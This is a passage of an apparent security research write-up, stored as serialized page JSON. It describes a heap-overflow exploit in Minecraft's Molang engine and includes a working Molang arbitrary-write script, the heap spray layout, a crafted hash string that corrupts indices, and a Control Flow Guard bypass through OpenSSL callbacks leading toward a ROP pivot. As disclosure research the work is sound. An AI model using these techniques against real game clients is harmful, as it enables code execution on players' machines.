far as we were already familiar with a suitable structure.",{"type":22,"tag":23,"props":158238,"children":158239},{},[158240,158245,158246,158251,158253,158258,158260,158265,158267,158272,158274,158279,158281,158287,158288,158293],{"type":22,"tag":30,"props":158241,"children":158243},{"className":158242},[],[158244],{"type":27,"value":156611},{"type":27,"value":19444},{"type":22,"tag":30,"props":158247,"children":158249},{"className":158248},[],[158250],{"type":27,"value":156634},{"type":27,"value":158252}," found inside every entity object. As noted earlier, a ",{"type":22,"tag":30,"props":158254,"children":158256},{"className":158255},[],[158257],{"type":27,"value":156465},{"type":27,"value":158259}," contains three pointers: ",{"type":22,"tag":30,"props":158261,"children":158263},{"className":158262},[],[158264],{"type":27,"value":153631},{"type":27,"value":158266}," (the start of the allocated buffer), ",{"type":22,"tag":30,"props":158268,"children":158270},{"className":158269},[],[158271],{"type":27,"value":13147},{"type":27,"value":158273}," (just past the last element) and ",{"type":22,"tag":30,"props":158275,"children":158277},{"className":158276},[],[158278],{"type":27,"value":156564},{"type":27,"value":158280}," (the end of the allocated buffer). Because the element type is ",{"type":22,"tag":30,"props":158282,"children":158284},{"className":158283},[],[158285],{"type":27,"value":158286},"uint16_t",{"type":27,"value":105804},{"type":22,"tag":30,"props":158289,"children":158291},{"className":158290},[],[158292],{"type":27,"value":13147},{"type":27,"value":158294}," pointer advances by 2 bytes each time a new element is added.",{"type":22,"tag":23,"props":158296,"children":158297},{},[158298,158300,158305,158307,158313],{"type":27,"value":158299},"We can make the ",{"type":22,"tag":30,"props":158301,"children":158303},{"className":158302},[],[158304],{"type":27,"value":13147},{"type":27,"value":158306}," pointer equal to ",{"type":22,"tag":30,"props":158308,"children":158310},{"className":158309},[],[158311],{"type":27,"value":158312},"cap - 2",{"type":27,"value":158314}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":22,"tag":91,"props":158316,"children":158318},{"code":158317}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[158319],{"type":22,"tag":30,"props":158320,"children":158321},{"__ignoreMap":7},[158322],{"type":27,"value":158317},{"type":22,"tag":1398,"props":158324,"children":158325},{},[],{"type":22,"tag":23,"props":158327,"children":158328},{},[158329,158331,158336,158338,158343,158345,158350,158352,158357,158358,158363],{"type":27,"value":158330},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":22,"tag":30,"props":158332,"children":158334},{"className":158333},[],[158335],{"type":27,"value":153631},{"type":27,"value":158337}," pointer of ",{"type":22,"tag":30,"props":158339,"children":158341},{"className":158340},[],[158342],{"type":27,"value":156435},{"type":27,"value":158344}," in the entity object above, one that would index ",{"type":22,"tag":30,"props":158346,"children":158348},{"className":158347},[],[158349],{"type":27,"value":13147},{"type":27,"value":158351}," and the final ",{"type":22,"tag":30,"props":158353,"children":158355},{"className":158354},[],[158356],{"type":27,"value":156564},{"type":27,"value":158337},{"type":22,"tag":30,"props":158359,"children":158361},{"className":158360},[],[158362],{"type":27,"value":156611},{"type":27,"value":158364}," also in the same entity object above.",{"type":22,"tag":23,"props":158366,"children":158367},{},[158368,158370,158376,158377,158383,158385,158390,158391,158396,158398,158403,158405,158410,158411,158416,158418,158423],{"type":27,"value":158369},"The corrupted variables ",{"type":22,"tag":30,"props":158371,"children":158373},{"className":158372},[],[158374],{"type":27,"value":158375},"variable.corrupted_len_ptr",{"type":27,"value":209},{"type":22,"tag":30,"props":158378,"children":158380},{"className":158379},[],[158381],{"type":27,"value":158382},"variable.corrupted_cap_ptr",{"type":27,"value":158384}," point to ",{"type":22,"tag":30,"props":158386,"children":158388},{"className":158387},[],[158389],{"type":27,"value":13147},{"type":27,"value":209},{"type":22,"tag":30,"props":158392,"children":158394},{"className":158393},[],[158395],{"type":27,"value":156564},{"type":27,"value":158397},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":22,"tag":30,"props":158399,"children":158401},{"className":158400},[],[158402],{"type":27,"value":158209},{"type":27,"value":158404},", points to the ",{"type":22,"tag":30,"props":158406,"children":158408},{"className":158407},[],[158409],{"type":27,"value":153631},{"type":27,"value":157416},{"type":22,"tag":30,"props":158412,"children":158414},{"className":158413},[],[158415],{"type":27,"value":156435},{"type":27,"value":158417},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":22,"tag":30,"props":158419,"children":158421},{"className":158420},[],[158422],{"type":27,"value":156435},{"type":27,"value":158424},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":22,"tag":23,"props":158426,"children":158427},{},[158428],{"type":27,"value":158429},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":22,"tag":22883,"props":158431,"children":158433},{"id":158432},"leaking-pointers",[158434],{"type":27,"value":158435},"Leaking Pointers",{"type":22,"tag":23,"props":158437,"children":158438},{},[158439,158441,158447],{"type":27,"value":158440},"In C++, an object’s first field is typically a ",{"type":22,"tag":30,"props":158442,"children":158444},{"className":158443},[],[158445],{"type":27,"value":158446},"vtable",{"type":27,"value":158448}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":22,"tag":91,"props":158450,"children":158452},{"code":158451}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[158453],{"type":22,"tag":30,"props":158454,"children":158455},{"__ignoreMap":7},[158456],{"type":27,"value":158451},{"type":22,"tag":23,"props":158458,"children":158459},{},[158460,158461,158466,158468,158473,158475,158480,158482,158487,158489,158494,158495,158500,158502,158507],{"type":27,"value":2007},{"type":22,"tag":30,"props":158462,"children":158464},{"className":158463},[],[158465],{"type":27,"value":43146},{"type":27,"value":158467}," field inside a ",{"type":22,"tag":30,"props":158469,"children":158471},{"className":158470},[],[158472],{"type":27,"value":156108},{"type":27,"value":158474}," is at offset ",{"type":22,"tag":30,"props":158476,"children":158478},{"className":158477},[],[158479],{"type":27,"value":156369},{"type":27,"value":158481},". We already control a corrupted variable, ",{"type":22,"tag":30,"props":158483,"children":158485},{"className":158484},[],[158486],{"type":27,"value":158375},{"type":27,"value":158488},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":22,"tag":30,"props":158490,"children":158492},{"className":158491},[],[158493],{"type":27,"value":13147},{"type":27,"value":157416},{"type":22,"tag":30,"props":158496,"children":158498},{"className":158497},[],[158499],{"type":27,"value":156611},{"type":27,"value":158501}," by 2 bytes, which in turn advances ",{"type":22,"tag":30,"props":158503,"children":158505},{"className":158504},[],[158506],{"type":27,"value":158375},{"type":27,"value":158508}," by 2 bytes.",{"type":22,"tag":23,"props":158510,"children":158511},{},[158512,158514,158519,158521,158527,158528,158533,158534,158539,158541,158546],{"type":27,"value":158513},"By moving ",{"type":22,"tag":30,"props":158515,"children":158517},{"className":158516},[],[158518],{"type":27,"value":13147},{"type":27,"value":158520}," so it equals ",{"type":22,"tag":30,"props":158522,"children":158524},{"className":158523},[],[158525],{"type":27,"value":158526},"cap - 0x38",{"type":27,"value":105804},{"type":22,"tag":30,"props":158529,"children":158531},{"className":158530},[],[158532],{"type":27,"value":43146},{"type":27,"value":157416},{"type":22,"tag":30,"props":158535,"children":158537},{"className":158536},[],[158538],{"type":27,"value":158375},{"type":27,"value":158540}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":22,"tag":30,"props":158542,"children":158544},{"className":158543},[],[158545],{"type":27,"value":158446},{"type":27,"value":158547}," pointer. We can then capture that pointer with:",{"type":22,"tag":91,"props":158549,"children":158551},{"code":158550},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[158552],{"type":22,"tag":30,"props":158553,"children":158554},{"__ignoreMap":7},[158555],{"type":27,"value":158550},{"type":22,"tag":23,"props":158557,"children":158558},{},[158559,158561,158566,158568,158573,158575,158580,158582,158588],{"type":27,"value":158560},"After saving the leak, we add 27 unseen variables to advance ",{"type":22,"tag":30,"props":158562,"children":158564},{"className":158563},[],[158565],{"type":27,"value":13147},{"type":27,"value":158567}," until it equals ",{"type":22,"tag":30,"props":158569,"children":158571},{"className":158570},[],[158572],{"type":27,"value":158312},{"type":27,"value":158574},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":22,"tag":30,"props":158576,"children":158578},{"className":158577},[],[158579],{"type":27,"value":158446},{"type":27,"value":158581}," address in ",{"type":22,"tag":30,"props":158583,"children":158585},{"className":158584},[],[158586],{"type":27,"value":158587},"variable.saved_vtable_pointer",{"type":27,"value":231},{"type":22,"tag":1398,"props":158590,"children":158591},{},[],{"type":22,"tag":23,"props":158593,"children":158594},{},[158595,158597,158602,158604,158610],{"type":27,"value":158596},"A Molang script that performs an arbitrary write of the value ",{"type":22,"tag":30,"props":158598,"children":158600},{"className":158599},[],[158601],{"type":27,"value":47498},{"type":27,"value":158603}," to the address ",{"type":22,"tag":30,"props":158605,"children":158607},{"className":158606},[],[158608],{"type":27,"value":158609},"vtable + 0x1000",{"type":27,"value":158611}," looks like this:",{"type":22,"tag":91,"props":158613,"children":158615},{"code":158614},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[158616],{"type":22,"tag":30,"props":158617,"children":158618},{"__ignoreMap":7},[158619],{"type":27,"value":158614},{"type":22,"tag":22883,"props":158621,"children":158623},{"id":158622},"required-heap-layout",[158624],{"type":27,"value":158625},"Required Heap Layout",{"type":22,"tag":23,"props":158627,"children":158628},{},[158629],{"type":27,"value":158630},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":22,"tag":91,"props":158632,"children":158634},{"code":158633}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[158635],{"type":22,"tag":30,"props":158636,"children":158637},{"__ignoreMap":7},[158638],{"type":27,"value":158633},{"type":22,"tag":23,"props":158640,"children":158641},{},[158642,158644,158650,158652,158657,158659,158664,158666,158671,158672,158677],{"type":27,"value":158643},"The first region (",{"type":22,"tag":30,"props":158645,"children":158647},{"className":158646},[],[158648],{"type":27,"value":158649},"Heap Region 1",{"type":27,"value":158651},") contains alternating ",{"type":22,"tag":30,"props":158653,"children":158655},{"className":158654},[],[158656],{"type":27,"value":156435},{"type":27,"value":158658},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":22,"tag":30,"props":158660,"children":158662},{"className":158661},[],[158663],{"type":27,"value":156465},{"type":27,"value":158665}," pointers of ",{"type":22,"tag":30,"props":158667,"children":158669},{"className":158668},[],[158670],{"type":27,"value":156435},{"type":27,"value":209},{"type":22,"tag":30,"props":158673,"children":158675},{"className":158674},[],[158676],{"type":27,"value":156611},{"type":27,"value":158678}," from the entity object for our main attack.",{"type":22,"tag":23,"props":158680,"children":158681},{},[158682,158684,158690,158692,158697,158699,158704,158706,158711,158713,158718],{"type":27,"value":158683},"The second region (",{"type":22,"tag":30,"props":158685,"children":158687},{"className":158686},[],[158688],{"type":27,"value":158689},"Heap Region 2",{"type":27,"value":158691},") contains interleaved ",{"type":22,"tag":30,"props":158693,"children":158695},{"className":158694},[],[158696],{"type":27,"value":156611},{"type":27,"value":158698},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":22,"tag":30,"props":158700,"children":158702},{"className":158701},[],[158703],{"type":27,"value":158446},{"type":27,"value":158705}," pointer into ",{"type":22,"tag":30,"props":158707,"children":158709},{"className":158708},[],[158710],{"type":27,"value":158375},{"type":27,"value":158712}," during our main attack. It could be any object with a ",{"type":22,"tag":30,"props":158714,"children":158716},{"className":158715},[],[158717],{"type":27,"value":158446},{"type":27,"value":158719},", but for simplicity we use the entity object.",{"type":22,"tag":23,"props":158721,"children":158722},{},[158723,158725,158731,158733,158738],{"type":27,"value":158724},"During the attack, overwriting another variable's pointer with\n",{"type":22,"tag":30,"props":158726,"children":158728},{"className":158727},[],[158729],{"type":27,"value":158730},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":27,"value":158732}," will very likely clobber the ",{"type":22,"tag":30,"props":158734,"children":158736},{"className":158735},[],[158737],{"type":27,"value":156931},{"type":27,"value":158739}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":22,"tag":23,"props":158741,"children":158742},{},[158743],{"type":27,"value":158744},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":22,"tag":23,"props":158746,"children":158747},{},[158748],{"type":27,"value":158749},"The final exploit proceeds in three stages:",{"type":22,"tag":6828,"props":158751,"children":158752},{},[158753,158758,158763],{"type":22,"tag":6832,"props":158754,"children":158755},{},[158756],{"type":27,"value":158757},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":22,"tag":6832,"props":158759,"children":158760},{},[158761],{"type":27,"value":158762},"Perform the heap spray with signs to create the desired layout for the attack",{"type":22,"tag":6832,"props":158764,"children":158765},{},[158766],{"type":27,"value":158767},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":22,"tag":22883,"props":158769,"children":158771},{"id":158770},"initial-corruption-variant-lfh-heap-approach",[158772],{"type":27,"value":158773},"Initial Corruption Variant: LFH Heap Approach",{"type":22,"tag":23,"props":158775,"children":158776},{},[158777],{"type":27,"value":158778},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":22,"tag":23,"props":158780,"children":158781},{},[158782,158784,158789,158790,158796],{"type":27,"value":158783},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":22,"tag":30,"props":158785,"children":158787},{"className":158786},[],[158788],{"type":27,"value":156678},{"type":27,"value":10515},{"type":22,"tag":30,"props":158791,"children":158793},{"className":158792},[],[158794],{"type":27,"value":158795},"last_index",{"type":27,"value":158797}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":22,"tag":23,"props":158799,"children":158800},{},[158801,158803,158808,158809,158814,158816,158821,158823,158828,158830,158835,158837,158843,158844,158850,158851,158857],{"type":27,"value":158802},"The main attack can be arranged by making the resulting index point at the ",{"type":22,"tag":30,"props":158804,"children":158806},{"className":158805},[],[158807],{"type":27,"value":153631},{"type":27,"value":157416},{"type":22,"tag":30,"props":158810,"children":158812},{"className":158811},[],[158813],{"type":27,"value":156611},{"type":27,"value":158815},". From there, the script can overwrite three variable indices at offset ",{"type":22,"tag":30,"props":158817,"children":158819},{"className":158818},[],[158820],{"type":27,"value":156369},{"type":27,"value":158822}," within the ",{"type":22,"tag":30,"props":158824,"children":158826},{"className":158825},[],[158827],{"type":27,"value":156611},{"type":27,"value":158829}," by using the string type. This works because a Molang string's value is just a ",{"type":22,"tag":30,"props":158831,"children":158833},{"className":158832},[],[158834],{"type":27,"value":59631},{"type":27,"value":158836}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":22,"tag":30,"props":158838,"children":158840},{"className":158839},[],[158841],{"type":27,"value":158842},"0xfb",{"type":27,"value":758},{"type":22,"tag":30,"props":158845,"children":158847},{"className":158846},[],[158848],{"type":27,"value":158849},"0xfc",{"type":27,"value":209},{"type":22,"tag":30,"props":158852,"children":158854},{"className":158853},[],[158855],{"type":27,"value":158856},"0xfd",{"type":27,"value":158858}," the script would do:",{"type":22,"tag":91,"props":158860,"children":158862},{"code":158861},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[158863],{"type":22,"tag":30,"props":158864,"children":158865},{"__ignoreMap":7},[158866],{"type":27,"value":158861},{"type":22,"tag":23,"props":158868,"children":158869},{},[158870,158872,158877,158878,158884,158886,158891],{"type":27,"value":158871},"That line would write the ",{"type":22,"tag":30,"props":158873,"children":158875},{"className":158874},[],[158876],{"type":27,"value":59631},{"type":27,"value":95680},{"type":22,"tag":30,"props":158879,"children":158881},{"className":158880},[],[158882],{"type":27,"value":158883},"0x302700fb00fc00fd",{"type":27,"value":158885}," (string's FNV-1 hash) into the allocated ",{"type":22,"tag":30,"props":158887,"children":158889},{"className":158888},[],[158890],{"type":27,"value":156611},{"type":27,"value":158892}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":22,"tag":1760,"props":158894,"children":158896},{"id":158895},"hijacking-execution",[158897],{"type":27,"value":158898},"Hijacking Execution",{"type":22,"tag":23,"props":158900,"children":158901},{},[158902,158904,158909,158911,158917],{"type":27,"value":158903},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":22,"tag":30,"props":158905,"children":158907},{"className":158906},[],[158908],{"type":27,"value":158446},{"type":27,"value":158910}," and function pointers in the writable ",{"type":22,"tag":30,"props":158912,"children":158914},{"className":158913},[],[158915],{"type":27,"value":158916},".data",{"type":27,"value":158918}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":22,"tag":23,"props":158920,"children":158921},{},[158922],{"type":27,"value":158923},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":22,"tag":23,"props":158925,"children":158926},{},[158927],{"type":27,"value":158928},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":22,"tag":23,"props":158930,"children":158931},{},[158932],{"type":22,"tag":7959,"props":158933,"children":158935},{"alt":54574,"src":158934},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":22,"tag":23,"props":158937,"children":158938},{},[158939,158941,158947,158949,158955,158957,158962,158964,158969,158971,158977,158979,158984,158986,158992,158994,158999],{"type":27,"value":158940},"This snippet calls a method on an object: ",{"type":22,"tag":30,"props":158942,"children":158944},{"className":158943},[],[158945],{"type":27,"value":158946},"rcx",{"type":27,"value":158948}," holds the object pointer, the first ",{"type":22,"tag":30,"props":158950,"children":158952},{"className":158951},[],[158953],{"type":27,"value":158954},"mov",{"type":27,"value":158956}," loads the object's ",{"type":22,"tag":30,"props":158958,"children":158960},{"className":158959},[],[158961],{"type":27,"value":158446},{"type":27,"value":158963}," into ",{"type":22,"tag":30,"props":158965,"children":158967},{"className":158966},[],[158968],{"type":27,"value":60771},{"type":27,"value":158970},", and the function pointer at ",{"type":22,"tag":30,"props":158972,"children":158974},{"className":158973},[],[158975],{"type":27,"value":158976},"rax + 0x8",{"type":27,"value":158978}," is read into ",{"type":22,"tag":30,"props":158980,"children":158982},{"className":158981},[],[158983],{"type":27,"value":60771},{"type":27,"value":158985},". Finally, ",{"type":22,"tag":30,"props":158987,"children":158989},{"className":158988},[],[158990],{"type":27,"value":158991},"__guard_dispatch_icall_fptr",{"type":27,"value":158993}," is called - this is the CFG dispatch function that validates ",{"type":22,"tag":30,"props":158995,"children":158997},{"className":158996},[],[158998],{"type":27,"value":60771},{"type":27,"value":159000}," as a legal call target before invoking it.",{"type":22,"tag":23,"props":159002,"children":159003},{},[159004],{"type":27,"value":159005},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":22,"tag":23,"props":159007,"children":159008},{},[159009],{"type":22,"tag":7959,"props":159010,"children":159012},{"alt":54574,"src":159011},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":22,"tag":23,"props":159014,"children":159015},{},[159016,159018,159024,159026,159032],{"type":27,"value":159017},"Here, the function pointer at ",{"type":22,"tag":30,"props":159019,"children":159021},{"className":159020},[],[159022],{"type":27,"value":159023},"vtable + 0x10",{"type":27,"value":159025}," is loaded into ",{"type":22,"tag":30,"props":159027,"children":159029},{"className":159028},[],[159030],{"type":27,"value":159031},"rdx",{"type":27,"value":159033}," and then called directly.",{"type":22,"tag":23,"props":159035,"children":159036},{},[159037],{"type":27,"value":159038},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":22,"tag":23,"props":159040,"children":159041},{},[159042,159044,159049],{"type":27,"value":159043},"So the remaining task is to locate OpenSSL function or ",{"type":22,"tag":30,"props":159045,"children":159047},{"className":159046},[],[159048],{"type":27,"value":158446},{"type":27,"value":159050}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":22,"tag":22883,"props":159052,"children":159054},{"id":159053},"locating-overwrite-targets",[159055],{"type":27,"value":159056},"Locating Overwrite Targets",{"type":22,"tag":23,"props":159058,"children":159059},{},[159060,159062,159068,159069,159074,159076,159081,159083,159089],{"type":27,"value":159061},"One of the first targets we identified were the ",{"type":22,"tag":30,"props":159063,"children":159065},{"className":159064},[],[159066],{"type":27,"value":159067},"malloc",{"type":27,"value":209},{"type":22,"tag":30,"props":159070,"children":159072},{"className":159071},[],[159073],{"type":27,"value":153679},{"type":27,"value":159075}," callbacks. These reside in the ",{"type":22,"tag":30,"props":159077,"children":159079},{"className":159078},[],[159080],{"type":27,"value":158916},{"type":27,"value":159082}," section and are invoked whenever they don’t match the expected ",{"type":22,"tag":30,"props":159084,"children":159086},{"className":159085},[],[159087],{"type":27,"value":159088},"OPENSSL_malloc/free",{"type":27,"value":135537},{"type":22,"tag":23,"props":159091,"children":159092},{},[159093],{"type":22,"tag":7959,"props":159094,"children":159096},{"alt":54574,"src":159095},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":22,"tag":23,"props":159098,"children":159099},{},[159100],{"type":27,"value":159101},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":22,"tag":23,"props":159103,"children":159104},{},[159105,159107,159113,159115,159121,159123,159128],{"type":27,"value":159106},"Later, we found another promising function: ",{"type":22,"tag":30,"props":159108,"children":159110},{"className":159109},[],[159111],{"type":27,"value":159112},"ossl_ec_key_new_method_int",{"type":27,"value":159114},". This function creates and initializes an ",{"type":22,"tag":30,"props":159116,"children":159118},{"className":159117},[],[159119],{"type":27,"value":159120},"EC_KEY",{"type":27,"value":159122}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":22,"tag":30,"props":159124,"children":159126},{"className":159125},[],[159127],{"type":27,"value":158916},{"type":27,"value":159129},") containing function pointers:",{"type":22,"tag":23,"props":159131,"children":159132},{},[159133],{"type":22,"tag":7959,"props":159134,"children":159136},{"alt":54574,"src":159135},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":22,"tag":23,"props":159138,"children":159139},{},[159140,159142,159148,159149,159155,159157,159162,159164,159170,159172,159177,159179,159184,159186,159191],{"type":27,"value":159141},"In the image above, ",{"type":22,"tag":30,"props":159143,"children":159145},{"className":159144},[],[159146],{"type":27,"value":159147},"ret->meth",{"type":27,"value":129001},{"type":22,"tag":30,"props":159150,"children":159152},{"className":159151},[],[159153],{"type":27,"value":159154},"default_ec_key_meth",{"type":27,"value":159156},", which points to a structure of function pointers located in ",{"type":22,"tag":30,"props":159158,"children":159160},{"className":159159},[],[159161],{"type":27,"value":158916},{"type":27,"value":159163},". It then calls ",{"type":22,"tag":30,"props":159165,"children":159167},{"className":159166},[],[159168],{"type":27,"value":159169},"ret->meth->init",{"type":27,"value":159171},", passing the ",{"type":22,"tag":30,"props":159173,"children":159175},{"className":159174},[],[159176],{"type":27,"value":21691},{"type":27,"value":159178}," pointer (",{"type":22,"tag":30,"props":159180,"children":159182},{"className":159181},[],[159183],{"type":27,"value":14996},{"type":27,"value":159185},"). This alone isn’t especially useful because ",{"type":22,"tag":30,"props":159187,"children":159189},{"className":159188},[],[159190],{"type":27,"value":14996},{"type":27,"value":159192}," is heap-allocated.",{"type":22,"tag":23,"props":159194,"children":159195},{},[159196,159198,159203],{"type":27,"value":159197},"But, if we look at how ",{"type":22,"tag":30,"props":159199,"children":159201},{"className":159200},[],[159202],{"type":27,"value":159169},{"type":27,"value":159204}," is invoked in the disassembly:",{"type":22,"tag":23,"props":159206,"children":159207},{},[159208],{"type":22,"tag":7959,"props":159209,"children":159211},{"alt":54574,"src":159210},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":22,"tag":23,"props":159213,"children":159214},{},[159215,159216,159221,159223,159228,159230,159235,159237,159242,159244,159249,159251,159256,159258,159263,159265,159271],{"type":27,"value":11493},{"type":22,"tag":30,"props":159217,"children":159219},{"className":159218},[],[159220],{"type":27,"value":159169},{"type":27,"value":159222}," is not ",{"type":22,"tag":30,"props":159224,"children":159226},{"className":159225},[],[159227],{"type":27,"value":58492},{"type":27,"value":159229},", it is called while ",{"type":22,"tag":30,"props":159231,"children":159233},{"className":159232},[],[159234],{"type":27,"value":60771},{"type":27,"value":159236}," still contains the value of ",{"type":22,"tag":30,"props":159238,"children":159240},{"className":159239},[],[159241],{"type":27,"value":159147},{"type":27,"value":159243}," - that is, a pointer to the structure in ",{"type":22,"tag":30,"props":159245,"children":159247},{"className":159246},[],[159248],{"type":27,"value":158916},{"type":27,"value":159250}," that we control. This is ideal, because we can overwrite ",{"type":22,"tag":30,"props":159252,"children":159254},{"className":159253},[],[159255],{"type":27,"value":159154},{"type":27,"value":159257}," with a pointer to a region in ",{"type":22,"tag":30,"props":159259,"children":159261},{"className":159260},[],[159262],{"type":27,"value":158916},{"type":27,"value":159264}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":22,"tag":30,"props":159266,"children":159268},{"className":159267},[],[159269],{"type":27,"value":159270},"mov rsp, rax; ret",{"type":27,"value":159272},"-style gadget.",{"type":22,"tag":23,"props":159274,"children":159275},{},[159276,159278,159283,159285,159290],{"type":27,"value":159277},"Although we discovered that ",{"type":22,"tag":30,"props":159279,"children":159281},{"className":159280},[],[159282],{"type":27,"value":159112},{"type":27,"value":159284}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":22,"tag":30,"props":159286,"children":159288},{"className":159287},[],[159289],{"type":27,"value":159088},{"type":27,"value":159291}," callbacks.",{"type":22,"tag":22883,"props":159293,"children":159295},{"id":159294},"stack-pivot",[159296],{"type":27,"value":159297},"Stack Pivot",{"type":22,"tag":23,"props":159299,"children":159300},{},[159301,159303,159308,159310,159315,159317,159322,159324,159330],{"type":27,"value":159302},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":22,"tag":30,"props":159304,"children":159306},{"className":159305},[],[159307],{"type":27,"value":158916},{"type":27,"value":159309},", overwrite ",{"type":22,"tag":30,"props":159311,"children":159313},{"className":159312},[],[159314],{"type":27,"value":159154},{"type":27,"value":159316}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers 